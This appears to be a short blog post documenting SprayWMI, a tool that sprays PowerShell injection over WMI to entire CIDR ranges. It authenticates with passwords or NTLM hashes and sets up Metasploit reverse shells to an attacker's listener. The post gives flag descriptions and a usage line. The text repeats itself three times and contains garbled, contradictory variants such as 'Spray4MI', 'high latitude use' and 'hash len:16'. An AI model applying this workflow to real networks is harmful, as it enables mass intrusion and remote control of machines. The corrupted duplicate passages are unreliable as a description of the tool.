SprayWMI is a method for mass spraying unicorn powershell injection to CIDR notations.

Flag descriptions:

DOMAIN - domain you are attacking - if its local, just specify workgroup  
USERNAME - username to authenticate on the remote Windows system  
PASSWORD - password or password hash lm:ntlm to use on the remote Windows system  
CIDR\_RANGE, CIDR\_RANGE or ips.txt - you can specify a single ip, a CIDR range (192.168.1.1/24) or multiple CIDRs such as 192.168.1.1/24, 192.168.2.1/24. You can also specify a file (ex: file.txt) which has single IP addresses on a new line.  
METASPLOIT\_PAYLOAD - this is the payload you want to use example: windows/meterpreter/reverse\_tcp  
REVERSE\_SHELL\_IP - this is the IP address of your attacker machine that you want to create a listener or use an already established listener  
REVERSE\_SHELL\_PORT - port to connect back on for the reverse  
OPTIONAL: NO - specify no if you do not want to create a listener - this is useful if you already have a listener established. If you do not specify a value here, it will automatically create a listener for you.

## SPRAYWMI IS A METHOD FOR MASS SPRAYING UNICORN POWERSHELL INJECTION TO CIDR NOTATIONS.

October 14, 2015 · by 0x0ptimus · in Code Scripting, Networking, Penetration Test

**SprayWMI** is a method for mass spraying unicorn powershell injection to CIDR notations.

DOMAIN – domain you are attacking – if its local, just specify workgroup

USERNAME – username to authenticate on the remote Windows system

PASSWORD – password or password hash lm:ntlm to use on the remote Windows system

CIDR\_RANGE, CIDR\_RANGE or ips.txt – you can specify a single ip, a CIDR range (192.168.1.1/24) or multiple CIDRs such as 192.168.1.1/24, 192.168.2.1/24. You can also specify a file (ex: file.txt) which has single IP addresses on a new line.

METASPLOIT\_PAYLOAD – this is the payload you want to use example: windows/meterpreter/reverse\_tcp

REVERSE\_SHELL\_IP – this is the IP address of your attacker machine that you want to create a listener or use an already established listener

REVERSE\_SHELL\_PORT – port to connect back on for the reverse

Spray4MI is a method for mass spraying unicorn powershell injection to CIDR notations.

```

DOMAIN - domain you are attacking - if its local, just specify workgroup
USERNAME - username to authenticate on the remote Windows system
PASSWORD - password, high latitude use on the remote Windows system
CIDR RANGE - CIDR RANGE or host:ip address, single ip, a CIDR range (192.168.1.1/24) or multiple CIDRs such as 192.168.1.1/24,192.168.2.1/24. You can also specify a file (ex: file.txt) which has single IP addresses on a new line.
METASPLOIT PAYLOAD - this is the payload you want to use example: windows/meterpreter/
reverse_tcp
REVERSE_SHELL_IP - this is the IP address of your attacker machine that you want to create a listener or use an already established listener
REVERSE_SHELL_PORT - port to connect back on for the reverse
OPTIONAL: NO - specify no if you do not want to create a listener - this is useful if you already have a listener established. If you do not specify a value here, it will automatically create a listener for you.

```

```
Usage: python spraywmi.py <domain> <username> <password or hash len:16> <cidr_range, cidr_range or ip.txt> <metasploit payload> <reverse shell ip> <reverse shell port> <options>
```

**Usage:** python spraywmi.py <domain> <username>  
<password or hash lm:ntlm> <cidr\_range,cidr\_range or  
ips.txt> <metasploit\_payload> <reverse\_shell\_ip>  
<reverse shell port> <optional: no>
